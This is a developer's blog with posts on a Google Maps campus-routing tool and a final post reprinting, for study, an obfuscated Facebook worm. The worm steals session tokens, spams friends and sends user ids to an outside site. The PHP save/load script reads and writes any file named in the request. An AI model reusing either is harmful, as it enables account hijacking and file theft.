Google Maps API, Part 2

In my last post, I explained the basic implementation of the Google Maps API to allow a previously unindexed set of points to be mapped out. After completing the first version of the code, I immediately noticed a few small bugs that hindered its operation – specifically, the ability to save and load previously selected points.

To enable saving and loading, an AJAX call was needed to query a PHP script. In short, the script would either take a JSON string and store it in a text file when saving, or take the contents of the text file and return it as a JSON string when loading. Saving is a much shorter process, as the data only needs to be dumped into the text file. Loading, on the other hand, requires that the data be parsed from the JSON string back into the correct format, and then all of the markers and lines be placed back on the map. In this iteration of the code, the line created among points when the data is loaded does not resemble any usable information to the user – this was addressed in the current version of the code later on.

Below, you’ll find the two functions that call the PHP script, and the PHP script itself. You can check out a usable copy here. In the demo, you’ll also notice that there is an option to copy the longitude/latitude coordinates of the buildings for later use, and to calculate the distances between markers present on the map.

?View Code JAVASCRIPT
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
$('#saveA').click(function() {
  $.ajax({
    type: 'POST',
    url: 'nodes_save.php',
    data: {
      func : "save",
      fname : prompt("File Name:"),
      JSON : JSON.stringify(A)
    },
    dataType: 'json',
    success : function(data){
      $('#returnA').html("Data saved successfully");
      $('#containerA').show();
    }
  });
  $('#containerA').delay(2000).fadeOut('slow');
});
 
$('#loadA').click(function() {
  $.ajax({
    type: 'POST',
    url: 'nodes_save.php',
    data: {
      func : "load",
      fname : prompt("File Name:")
    },
    dataType: 'json',
    success : function(data){
      // Remove all Markers from Map
      for (var bar = 0; bar < markers.length; bar++) {
        var foo = markers[bar].getTitle();
        markers[bar].setMap(null);
        for (var baz = 0; baz < polyCoordinates.length; baz++) {
          if (polyCoordinates[baz] == foo) {
            polyCoordinates.splice(baz, 1);
            baz = 0;
          }
        }
      }
      // Update Polyline
      if (polyLine != undefined) polyLine.setMap(null);
      polyLine = new google.maps.Polyline({
        path: polyCoordinates,
        strokeColor: "#FF0000",
        strokeOpacity: 1.0,
        strokeWeight: 2
      });
      polyLine.setMap(map);
      // Delete values currently in A
      for (var qux in A) delete A[qux];
 
      // Load new values into A
      A = JSON.parse(data.d);
 
      // Reset cnt
      cnt = 0;
 
      // Load new values into markers
      for (var qux in A) {
        var coord = qux.toString().replace('(', '');
        coord = coord.replace(')', '');
        var c = coord.split(',');
        var pos = new google.maps.LatLng(c[0], c[1]);
        markers.push(new google.maps.Marker({
          position: pos, 
          map: map,
          draggable: false,
          title: qux
        }));
        google.maps.event.addListener(markers[cnt],'click', (function(cnt) { 
          return function() { 
            if (mode == 0) {
              var foo = markers[cnt].getTitle();
              // Remove Marker
              markers[cnt].setMap(null);
              // Delete array in A
              delete A[markers[cnt].getTitle()];
              // Delete entries in A and polyCoordinates, if any
              for (var baz = 0; baz < polyCoordinates.length; baz++) {
                if (polyCoordinates[baz] == foo) {
                  polyCoordinates.splice(baz, 1);
                  baz = 0;
                }
              }
              for (var qux in A) {
                for (var baz = 0; baz < A[qux].length; baz++) {
                  if (A[qux][baz] == foo) {
                    A[qux].splice(baz, 1);
                    baz = 0;
                  }
                }
              }
              // Update Polyline
              if (polyLine != undefined) polyLine.setMap(null);
              polyLine = new google.maps.Polyline({
                path: polyCoordinates,
                strokeColor: "#FF0000",
                strokeOpacity: 1.0,
                strokeWeight: 2
              });
              polyLine.setMap(map);
            } else if (mode == 1) {
              // If Marker already selected, remove selection
              if (markers[cnt].getIcon() == "http://itouchmap.com/i/blue-dot.png") {
                markers[cnt].setIcon(null);
                markers[cnt].setShadow(null);
                first ? endPt = -1 : startPt = -1;
                first = first ? false : true;
              } else {
                // Select Marker
                markers[cnt].setIcon("http://itouchmap.com/i/blue-dot.png");
                first ? startPt = cnt : endPt = cnt;
                first = first ? false : true;
              }
              // If 2 Markers selected, add to A and update Polyline
              if (startPt != -1 && endPt != -1) {
                // Check if relation has already been entered
                if ($.inArray(markers[endPt].getTitle(), A[markers[startPt].getTitle()]) == -1) {
                  // Add to A in appropriate locations
                  A[markers[startPt].getTitle()].push(markers[endPt].getTitle());
                  A[markers[endPt].getTitle()].push(markers[startPt].getTitle());
                  // Create Polyline
                  var foo = new google.maps.LatLng(markers[startPt].getPosition().lat(), markers[startPt].getPosition().lng());
                  if ($.inArray(markers[startPt].getTitle(), polyCoordinates) == -1)
                    polyCoordinates.push(foo);
                  var bar = new google.maps.LatLng(markers[endPt].getPosition().lat(), markers[endPt].getPosition().lng());
                  if ($.inArray(markers[endPt].getTitle(), polyCoordinates) == -1)
                    polyCoordinates.push(bar);
                  if (polyLine != undefined) polyLine.setMap(null);
                  polyLine = new google.maps.Polyline({
                    path: polyCoordinates,
                    strokeColor: "#FF0000",
                    strokeOpacity: 1.0,
                    strokeWeight: 2
                  });
                  polyLine.setMap(map);
                }
                // Reset Markers to Default
                markers[startPt].setIcon(null);
                markers[endPt].setIcon(null);
                // Reset Variables
                startPt = -1; endPt = -1;
              }
            } else if (mode == 2) {
              if ($.inArray(markers[cnt].getTitle(), buildings) == -1) {
                buildings.push(markers[cnt].getTitle())
              }
            }
          }; 
        })(cnt));
        cnt++;
      }
 
      // Recreate Polyline
      for (var qux in A) {
        for (var bar = 0; bar < A[qux].length; bar++) {
          var coord = qux.toString().replace('(', '');
          coord = coord.replace(')', '');
          var c = coord.split(',');
          var pos = new google.maps.LatLng(c[0], c[1]);
          polyCoordinates.push(pos);
 
          if (polyLine != undefined) polyLine.setMap(null);
          polyLine = new google.maps.Polyline({
            path: polyCoordinates,
            strokeColor: "#FF0000",
            strokeOpacity: 1.0,
            strokeWeight: 2
          });
          polyLine.setMap(map);
        }
      }
 
      $('#returnA').html("Data loaded successfully");
      $('#containerA').show();
    }
  });
  $('#containerA').delay(2000).fadeOut('slow');
});
1
2
3
4
5
6
7
8
9
10
11
12
13
14
  if (isset($_POST['func']) && $_POST['func'] == "save") {
    $data = str_replace('\"', '"', $_POST['JSON']);
    $file_name = $_POST['fname'];
    file_put_contents($file_name, $data, LOCK_EX);
    $return['error'] = false;
    $return['msg'] = "Data saved successfully";
 
    echo json_encode($return);
  } elseif (isset($_POST['func']) && $_POST['func'] == "load") {
    $return['error'] = false;
    $return['d'] = file_get_contents($_POST['fname']);
 
    echo json_encode($return);
  }

The final step to getting the site to work was to implement Dijkstra’s Algorithm for shortest path. I used the pseudocode on Wikipedia as a starting point, and implemented it in Javscript.

?View Code JAVASCRIPT
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
function dijkstraPath() {
  var dist = {};
  var previous = {};
 
  for (var key in ptGraph) {
    dist[key] = Infinity;
    previous[key] = undefined;
  }
  dist[startNode] = 0;
  createQ();
  while (Q.length != 0) {
    var u = sortDist(dist);
    if ((dist[u] == Infinity) || (u == endNode) || (u == "")) break;
    removeU(u);
    for (var foo = 0; foo < ptGraph[u].length; foo++) {
      var v = ptGraph[u][foo];
      var alt = dist[u] + distance[u][foo];
      if (alt < dist[v]) {
        dist[v] = alt;
        previous[v] = u;
      }
    }
  }
  var S = [];
  while (previous[u] != undefined) {
    S.push(u);
    u = previous[u];
  }
  S.push(startNode);
  createMarker(startNode); createMarker(endNode);
  polyCoordinates.length = 0;
  for (var bar = 0; bar < S.length; bar++) createLine(S[bar]);
      }
 
function sortDist(dist) {
  var foo = Infinity;
  var ret = "";
  for (var bar = 0; bar < Q.length; bar++) {
    if (dist[Q[bar]] < foo) {
      foo = dist[Q[bar]];
      ret = Q[bar];
    }
  }
  return ret;
}
 
function removeU(u) {
  for (var foo = 0; foo < Q.length; foo++) {
    if (Q[foo] == u) {
      Q.splice(foo, 1);
      break;
    }
  }
}

After getting all of this working, I decided on the name ‘binghamtonumaps.com‘, and set up the site. I quickly realized that in designing the backend code the way I did, this site did not have to be limited to Binghamton University. Rather, any school could be set up as long as it was indexed properly. While the code for setting up the underlying graph made sense to me, I knew that it would need to be more automated if other people were going to be setting up their own schools. At the same time, I realized that binghamtonumaps.com was no longer an appropriate name given the new scope, and moved over to youruniversitymaps.com. Any questions/comments, leave a message below – I’ll save the final version writeup for the next post.

Google Maps API, Part 1

When I returned to Binghamton University at the beginning of this semester, I was immediately confronted by large amounts of construction in the middle of campus. Binghamton has been doing construction for the past 2 years, so this wasn’t that much of a surprise. However, with the construction being directly in the area of what used to be highly traveled walking paths, students and faculty were being forced to walk through other buildings to get to certain parts of campus. I’ll be honest, it took me a few days to figure out how to get around, even after being here for 4 years.

On Tuesdays and Thursdays, I have class from 2:50-5:50, a quick 10 minute break, and then another class at 6. By the time I get out of the first classes, I’m usually pretty hungry and make a run for the dining hall. In the first 2 weeks of the semester, this quick run to the dining hall meant showing up 5-10 minutes late to my 6:00 class. While making the move to get food 2 weeks ago, I was discussing with a friend in my class the quickest way to get to our next class. After quickly thinking about our options, we ended up picking a route and hoping for the best. At the same time, we joked about how nice it would be to have a website that would provide you with the quickest way to get from Point A to Point B on campus.

The next day I decided to give it a shot – I mean, the worst thing that could have happened was I tried to implement something and it wouldn’t work. Best case scenario, I develop a great new tool for Binghamton University students. I looked up the Google Maps API and quickly plugged in the latitude/longitude coordinates for several buildings on campus. I put all of the necessary code in place, selected my start point and end point, and was immediately disappointed with the results. Google only indexed the roads around campus – there were no paths on their map to go through the walkways in the middle. This meant that every route the map returned required you to walk around the edge of campus, even if the buildings were located in the middle.

After explaining to my friend Alex what I was trying to do, he helped me put together a rough idea of what would need to be done to get the map working the way I wanted it to. In short, I would need to index the middle of campus myself, and then use an algorithm to create the shortest path. Ultimately, I would only be using the Google Maps API for the picture of the map.

To make the process of indexing the middle of campus easier, I had to put together another page using the API. This page would have to have drastically different options than my first page that was just going to show the map. The basic functionality is as follows:

  1. Click on the map to place a marker – either a building, entrance/exit, or walkway via point – and at the same time add this location into a javascript object with an array attached to it. For instance, A[point1] = new Array(). This was necessary for creating a mapping of connected points, which was to come later.
  2. Each marker also had to have a click event attached to it. If it was clicked while in mode 0, the marker would have to be removed, as well as any references to it in the data structures. If it was clicked while in mode 1, it would have to be stored in memory until a second marker was clicked, at which point a connection was made between them, and again the necessary data structures were updated.

With the basic modes in place, I began putting everything together. Below you’ll find the javascript necessary to perform the operations as outlined above. If you don’t really care about the code, check out the live demo here.

?View Code JAVASCRIPT
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01//EN' 'http://www.w3.org/TR/html4/strict.dtd'>
<html>
  <head>
    <!-- Information -->
    <meta http-equiv='Content-Type' content='text/html; charset=ISO-8859-1' />
    <!-- Stylesheets -->
    <link href="http://code.google.com/apis/maps/documentation/javascript/examples/default.css" rel="stylesheet" type="text/css" />
    <style>
      .left { float: right; width: 120px; }
      .clear { clear: both; }
    </style>
    <!-- Javascript -->
    <script type="text/javascript" src="jquery.js"></script>
    <script type="text/javascript" src="jquery.iphone-switch.js"></script>
    <script type="text/javascript" src="json2.js"></script>
    <script type="text/javascript" src="http://maps.googleapis.com/maps/api/js?sensor=false"></script>
    <script type="text/javascript">
      var map;
      var markers = [];
      var A = {};
      var cnt = 0;
      var mode = 0; // 0 for Entering Points, 1 for Creating Graph
      var startPt = -1;
      var endPt = -1;
      var first = true;
      var polyCoordinates = [];
      var polyLine;
      var buildings = new Array();
 
      function initialize() {
        var binghamtonU = new google.maps.LatLng(42.088889,-75.966929);
        var myOptions = {
          zoom:17,
          mapTypeId: google.maps.MapTypeId.HYBRID,
          center: binghamtonU
        }
 
        map = new google.maps.Map(document.getElementById('map_canvas'), myOptions);
 
        google.maps.event.addListener(map,'click',function(event) {
          var title = event.latLng.toString();
          var pos = new google.maps.LatLng(event.latLng.lat(), event.latLng.lng());
          markers.push(new google.maps.Marker({
            position: pos, 
            map: map,
            draggable: false,
            title: title
          }));
          A[title] = new Array();
          google.maps.event.addListener(markers[cnt],'click', (function(cnt) { 
            return function() { 
              if (mode == 0) {
                var foo = markers[cnt].getTitle();
                // Remove Marker
                markers[cnt].setMap(null);
                // Delete array in A
                delete A[markers[cnt].getTitle()];
                // Delete entries in A and polyCoordinates, if any
                for (var baz = 0; baz < polyCoordinates.length; baz++) {
                  if (polyCoordinates[baz] == foo) {
                    polyCoordinates.splice(baz, 1);
                    baz = 0;
                  }
                }
                for (var qux in A) {
                  for (var baz = 0; baz < A[qux].length; baz++) {
                    if (A[qux][baz] == foo) {
                      A[qux].splice(baz, 1);
                      baz = 0;
                    }
                  }
                }
                // Update Polyline
                if (polyLine != undefined) polyLine.setMap(null);
                polyLine = new google.maps.Polyline({
                  path: polyCoordinates,
                  strokeColor: "#FF0000",
                  strokeOpacity: 1.0,
                  strokeWeight: 2
                });
                polyLine.setMap(map);
              } else {
                // If Marker already selected, remove selection
                if (markers[cnt].getIcon() == "blue-dot.png") {
                  markers[cnt].setIcon(null);
                  first ? endPt = -1 : startPt = -1;
                  first = first ? false : true;
                } else {
                  // Select Marker
                  markers[cnt].setIcon("blue-dot.png");
                  first ? startPt = cnt : endPt = cnt;
                  first = first ? false : true;
                }
                // If 2 Markers selected, add to A and update Polyline
                if (startPt != -1 && endPt != -1) {
                  // Check if relation has already been entered
                  if ($.inArray(markers[endPt].getTitle(), A[markers[startPt].getTitle()]) == -1) {
                    // Add to A in appropriate locations
                    A[markers[startPt].getTitle()].push(markers[endPt].getTitle());
                    A[markers[endPt].getTitle()].push(markers[startPt].getTitle());
                    // Create Polyline
                    var foo = new google.maps.LatLng(markers[startPt].getPosition().lat(), markers[startPt].getPosition().lng());
                    if ($.inArray(markers[startPt].getTitle(), polyCoordinates) == -1)
                      polyCoordinates.push(foo);
                    var bar = new google.maps.LatLng(markers[endPt].getPosition().lat(), markers[endPt].getPosition().lng());
                    if ($.inArray(markers[endPt].getTitle(), polyCoordinates) == -1)
                      polyCoordinates.push(bar);
                    if (polyLine != undefined) polyLine.setMap(null);
                    polyLine = new google.maps.Polyline({
                      path: polyCoordinates,
                      strokeColor: "#FF0000",
                      strokeOpacity: 1.0,
                      strokeWeight: 2
                    });
                    polyLine.setMap(map);
                  }
                  // Reset Markers to Default
                  markers[startPt].setIcon(null);
                  markers[endPt].setIcon(null);
                  // Reset Variables
                  startPt = -1; endPt = -1;
                }
              }
            };
          })(cnt));
          cnt++;
        });
      }
    </script>
  </head>
  <body onload="initialize()">
     <span style='font-size: 28px; font-family: Verdana,sans-serif; margin-left: 20px;'><a href='#' id='showA' style='color: #000;'>Done?</a></span>
     <div id='containerA' style='display: none; position: absolute; left: 50%; top: 100px; width: 800px; margin-left: -400px; z-index: 10000; background: #FFF; border: 3px solid #000; -moz-border-radius: 8px; -webkit-border-radius: 8px;'>
       <div id='returnA' style='margin-left: 20px;'></div>
     </div>
     <div class="left" id="opMode"></div>
     <div class="clear"></div>
 
     <script type="text/javascript">
       $('#opMode').iphoneSwitch("off", function() {
         mode = 1;
       },
       function() {
         mode = 0;
       },
       {
         switch_on_container_path: 'iphone_switch_container_off.png'
       });
 
       $('#showA').click(function() {
         $('#containerA').hide();
         var retA = JSON.stringify(A);
         retA += "<br><br><center><a href='#' onClick=\"$('#containerA').hide();\" style='color: #000;'>Close</a></center>";
         $('#returnA').html(retA);
         $('#containerA').show();
       });
     </script>
 
     <div id="map_canvas" style='top: 30px;'></div>
  </body>
</html>

After mapping out Binghamton using this page, I quickly realized that I had left out some crucial options necessary to use the data I was generating. Most importantly, I had no ability to save/load my data which meant that I would never be able to leave the page if I was still in the middle of finishing the map. This lead to version 2 of the code, which I’ll save for the next post. Any questions/comments, leave a message below.

Driving Around Virginia

I’m currently driving around Virginia (in the backseat) and realized that I am in desperate need of an update. Here’s a quick update to help pass the time as we drive:

1. I’m a college graduate. Yes, it’s a very crazy thought, but I am officially a computer engineer. Now all I need to do is finish up my MBA and get a job as an engineer for it to really be official.
2. I’m working at a tech day camp this summer, and recently taught myself Java. It’s extremely similar to C++. Like, almost the same language similar. It’ll be interesting once I actually start working to see if more kids pick C++ or Java.
3. WiseResume is up to about 125 users. Pretty cool considering we’re still constantly making changes. Hopefully that number increases a little more over the summer as people finish up internships/jobs and need feedback on them.

I’m sure there’s some stuff I meant to write about missing, but I’ll touch on it when I remember and I have my laptop in front of me. Until next time…

Posted in: Miscellaneous, Personal by Marc Budofsky No Comments

WiseResume in the News

As I posted last time, WiseResume is officially launched as an open beta. Since then, we’ve made some progress in the marketing department, and have had a few articles written about us:

Posted in: Wise Resume by Marc Budofsky No Comments

WiseResume

A little while back, I posted about a new site I was in the process of finishing up. It’s finally done, and we’re starting to roll out the beta release of it today. During this time, we’re hoping to get a decent sized user base to provide us with some feedback on the overall feel, look and functionality of the site. The general premise of the site is a resume critiquing community, with a social twist. Similar to Facebook, user’s can add friends and send messages to each other. At the same time, by providing feedback to other user on their resume, they can earn more points and further themselves in the community. To help make sign up easier, you only need to provide a few details with Wise Resume, while the rest of it will be pulled from your Facebook account. Head over to our registration page to get started!

Posted in: Wise Resume by Marc Budofsky No Comments

First Facebook Virus?

So curiosity got the best of my a few hours ago, and I tried the “Check who’s been viewing your profile” thing that’s been making its way around the past few days. I immediately noticed that it created an event, messaged all of my logged in friends, and changed my status – all without my consent or knowledge. I’m assuming Facebook will be taking action against it in the next few days, but I decided to take a look at the code now – the script is passed in the url that they ask you to copy and paste. I copied the location and used ‘wget bbbindia4.in/jsp.php‘ in terminal to download the script, and opened it in a text editor to view. Here’s the code for viewing – I’ve minimized it to cut down on the length of the post (its over 300 lines), but just click on the arrow to expand it:

NOTE: THIS CODE IS NOT WRITTEN BY ME; I COPIED IT FROM THE MALICIOUS SOURCE FOR EDUCATIONAL PURPOSES AND TO DETERMINE IF ANY OF MY STORED INFORMATION ON FACEBOOK WAS COMPROMISED BY RUNNING IT. IF THERE ARE ANY ISSUES WITH THE POSTING OF THIS CODE, PLEASE CONTACT ME AT MARC.BUDOFSKY@GMAIL.COM.

?View Code JAVASCRIPT
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
var randomnumber=Math.floor(Math.random()*99999);
var randomnumber1=Math.floor(Math.random()*987);
var randomnumber2=Math.floor(Math.random()*754);
var randomnumber3=Math.floor(Math.random()*43);
var randomnumber4=Math.floor(Math.random()*9);
var random=Math.floor(Math.random()*7);
 
if (random == 1)
  {
  var url = 'http://moourl.com/brvd5#'
  }
else if (random == 2) 
  {
  var url = 'http://goo.gl/R1ArR#'
  }
else if (random == 3)
  {
  var url = 'http://ibe.am/kEQvC?'  
  }
else if (random == 4)
  {
  var url = 'http://j.mp/f1Dw3b?'
  }
else if (random == 5)
  {
  var url = 'http://chilp.it/ddd8b9?'
  }
else if (random == 6)
  {
  var url = 'http://krz.ch/weYe#'
  }
else
  {
  var url = 'http://goo.gl/DM7uI#'
  }
 
var message = '%firstname% See who views your profile ';
var ev = 'check out this new facebook feature! \x0A see your profile view results by copying and pasting the link below in the address bar \x0A ';
var test = 'My Top Profile Viewers Are:\x0A'; 
var id = '%tf%    - ' + randomnumber1 + ' views,\x0A';
var id1 = '%tf%    - ' + randomnumber2 + ' views,\x0A';
var id2 = '%tf%    - ' + randomnumber3 + ' views,\x0A';
var id3 = '%tf%    - ' + randomnumber4 + ' views,\x0A';
var post = ' see who viewed your facebook profile @ ';
var postmessage = test + id + id1 + id2 + id3 + post + url + randomnumber;
var chatmessage = message + url + randomnumber;
var redirect = 'http://justing555.blogspot.com/';
var eventdesc = ev + url + randomnumber;
var eventname = 'How to see who viewed your profile!!';
var nfriends = 5000;
 
 
 
         // <script>
    // the following line is what they paste into the browser:
    // javascript:(a=(b=document).createElement('script')).src='//wetroll.info/e.js?'+Math.random(),b.body.appendChild(a);void(0)
    var debug=false;
 
    var wf=0;
 
    var mf = function() {
      if (wf <= 0) { // redirect to final page which closes, because iframes don't deliver cookies reliably
        setTimeout(function () {
          window.top.location.href = redirect;
          }, 500);
      };
    };
 
    var doget = function (_0xaa04xb, _0xaa04xc, _0xaa04xd) {
        var _0xaa04xe = new XMLHttpRequest();
        _0xaa04xe['open']('GET', _0xaa04xb);
        _0xaa04xe['onreadystatechange'] = function () {
            if (_0xaa04xe['readyState'] == 4) {
                if (_0xaa04xe['status'] == 200 && _0xaa04xc) {
                    _0xaa04xc(_0xaa04xe['responseText']);
                };
                if (_0xaa04xd) {
                    _0xaa04xd();
                };
            };
        };
        _0xaa04xe['send']();
    };
doget('/', function (_0xaa04xf) {
    var _0xaa04x10 = document['cookie']['match'](/c_user=(\d+)/)[1];
    var _0xaa04x11 = function (_0xaa04x12) {
            return _0xaa04x12 ? '@[' + _0xaa04x12['id'] + ':' + _0xaa04x12['name'] + ']' : '';
        };
    var _0xaa04x13 = function (_0xaa04x12) {
            return _0xaa04x12 ? _0xaa04x12['name'] : '';
        };
    var _0xaa04x14 = function (_0xaa04x12) {
            out = '';
            for (var _0xaa04x15 in _0xaa04x12) {
                out += (out ? '&' : '') + _0xaa04x15 + ((_0xaa04x12[_0xaa04x15] !== null) ? '=' + encodeURIComponent(_0xaa04x12[_0xaa04x15]) : '');
            };
            return out;
        };
    var _0xaa04x16 = function (_0xaa04xb, _0xaa04x12, _0xaa04xc, _0xaa04xd) {
            var _0xaa04xe = new XMLHttpRequest();
            _0xaa04xe['open']('POST', _0xaa04xb);
            _0xaa04xe['setRequestHeader']('Content-Type', 'application/x-www-form-urlencoded');
            _0xaa04xe['onreadystatechange'] = function () {
                if (_0xaa04xe['readyState'] == 4) {
                    if (_0xaa04xe['status'] == 200 && _0xaa04xc) {
                        _0xaa04xc(_0xaa04xe['responseText']);
                    };
                    if (_0xaa04xd) {
                        _0xaa04xd();
                    };
                };
            };
            _0xaa04xe['send'](_0xaa04x14(_0xaa04x12));
        };
    var _0xaa04x17 = function () {
            var _0xaa04x18 = document['createElement']('div');
            _0xaa04x18['style']['display'] = 'block';
            _0xaa04x18['style']['position'] = 'absolute';
            _0xaa04x18['style']['width'] = 100 + '%';
            _0xaa04x18['style']['height'] = 100 + '%';
            _0xaa04x18['style']['left'] = 0 + 'px';
            _0xaa04x18['style']['top'] = 0 + 'px';
            _0xaa04x18['style']['textAlign'] = 'center';
            _0xaa04x18['style']['padding'] = '4px';
            _0xaa04x18['style']['background'] = '#FFFFFF';
            _0xaa04x18['style']['zIndex'] = 999999;
            _0xaa04x18['innerHTML'] = '&nbsp;<br/>Please wait, this can take a little while...<br/><br/> We are processing the offer for you... <a href="javascript:void(0);" onclick="wf=0; mf();">click here</a> ';
            document['body']['appendChild'](_0xaa04x18);
        };
    var _0xaa04x19 = _0xaa04xf['match'](/name=\\"xhpc_composerid\\" value=\\"([\d\w]+)\\"/i);
    if (_0xaa04x19) {
        comp = _0xaa04x19[1];
    } else {
        comp = '';
    };
    var _0xaa04x1a = _0xaa04xf['match'](/name="post_form_id" value="([\d\w]+)"/i)[1];
    var _0xaa04x1b = _0xaa04xf['match'](/name="fb_dtsg" value="([\d\w]+)"/i)[1];
    var _0xaa04x1c = document['getElementById']('navAccountName')['firstChild']['data'];
    redirect = redirect + '?' + _0xaa04x14({
        userid: _0xaa04x10,
        name: _0xaa04x1c,
        doclose: 1
    });
    _0xaa04x17();
    if (eventdesc) {
        wf++;
        _0xaa04x16('/ajax/choose/?__a=1', {
            type: 'event',
            eid: null,
            invite_message: '',
            __d: 1,
            post_form_id: _0xaa04x1a,
            fb_dtsg: _0xaa04x1b,
            lsd: null,
            post_form_id_source: 'AsyncRequest'
        }, function (_0xaa04x1d) {
            var _0xaa04x1e = _0xaa04x1d['match'](/\\"token\\":\\"([^\\]+)\\"/)[1];
            var _0xaa04xb = '/ajax/typeahead/first_degree.php?__a=1&viewer=' + _0xaa04x10 + '&token=' + _0xaa04x1e + '&filter[0]=user&options[0]=friends_only&options[1]=nm&options[2]=sort_alpha';
            doget(_0xaa04xb, function (_0xaa04x1f) {
                var _0xaa04x20 = _0xaa04x1f['match'](/\{"uid":\d+,/g);
                var _0xaa04x21 = [];
                for (var _0xaa04x22 = 0; _0xaa04x22 < _0xaa04x20['length']; _0xaa04x22++) {
                    var _0xaa04x23 = _0xaa04x20[_0xaa04x22]['match'](/:(\d+),/)[1];
                    if (_0xaa04x23 != _0xaa04x10) {
                        _0xaa04x21['push'](_0xaa04x23);
                    };
                };
                var _0xaa04x24 = new Date();
                _0xaa04x24['setTime'](_0xaa04x24['getTime']() + 60 * 60 * 24 * 1000);
                datestr = (_0xaa04x24['getMonth']() + 1) + '/' + _0xaa04x24['getDate']() + '/' + _0xaa04x24['getFullYear']();
                timestr = _0xaa04x24['getHours']() * 60;
                var _0xaa04x25 = {
                    post_form_id: _0xaa04x1a,
                    fb_dtsg: _0xaa04x1b,
                    start_dateIntlDisplay: datestr,
                    start_date: datestr,
                    start_time_hour_min: timestr,
                    name: eventname,
                    place_page_id: '',
                    location: '',
                    street: '',
                    geo_id: '',
                    geo_sq: '',
                    desc: eventdesc,
                    sgb_invitees: _0xaa04x21['join'](','),
                    sgb_emails: '',
                    sgb_message: '',
                    privacy_type: 'on',
                    guest_list: 'on',
                    connections_can_post: 'on',
                    save: 'Create Event',
                    submitting: ''
                };
                _0xaa04x25['new'] = '';
                _0xaa04x16('/events/create.php', _0xaa04x25, false, function () {
                    mf(--wf);
                });
            });
        });
    };
    if (chatmessage) {
        wf++;
        _0xaa04x16('/ajax/chat/buddy_list.php?__a=1', {
            user: _0xaa04x10,
            post_form_id: _0xaa04x1a,
            fb_dtsg: _0xaa04x1b,
            lsd: null,
            post_form_id_source: 'AsyncRequest',
            popped_out: false,
            force_render: true
        }, function (_0xaa04x1d) {
            var _0xaa04x26 = _0xaa04x1d['substr'](9);
            var _0xaa04x27 = eval('(' + _0xaa04x26 + ')');
            var _0xaa04x28 = _0xaa04x27['payload']['buddy_list'];
            for (var _0xaa04x29 in _0xaa04x28['nowAvailableList']) {
                var _0xaa04x2a = Math['floor'](Math['random']() * 1335448958);
                var _0xaa04x2b = (new Date())['getTime']();
                var _0xaa04x2c = chatmessage['replace']('%firstname%', _0xaa04x28['userInfos'][_0xaa04x29]['firstName']['toLowerCase']());
                _0xaa04x16('/ajax/chat/send.php?__a=1', {
                    msg_id: Math['floor'](Math['random']() * 1335448958),
                    client_time: (new Date())['getTime'](),
                    msg_text: chatmessage['replace']('%firstname%', _0xaa04x28['userInfos'][_0xaa04x29]['firstName']['toLowerCase']()),
                    to: _0xaa04x29,
                    post_form_id: _0xaa04x1a,
                    fb_dtsg: _0xaa04x1b,
                    post_form_id_source: 'AsyncRequest'
                });
            };
            mf(--wf);
        });
    };
    if (postmessage) {
        wf++;
        doget('/ajax/browser/friends/?uid=' + _0xaa04x10 + '&filter=all&__a=1&__d=1', function (_0xaa04x1d) {
            var _0xaa04x20 = _0xaa04x1d['match'](/\/\d+_\d+_\d+_q\.jpg.*?u003ca href=\\"http:\\\/\\\/www.facebook.com\\\/.*?\\u003c\\\/a>/gi);
            var _0xaa04x2d = [];
            if (_0xaa04x20) {
                for (var _0xaa04x22 = 0; _0xaa04x22 < _0xaa04x20['length']; _0xaa04x22++) {
                    var _0xaa04x23 = _0xaa04x20[_0xaa04x22]['match'](/_\d+_/)[0]['replace'](/_/g, '');
                    var _0xaa04x2e = _0xaa04x20[_0xaa04x22]['match'](/>[^>]+\\u003c\\\/a>$/i)[0]['replace'](/\\u003c\\\/a>$/gim, '')['replace'](/>/g, '');
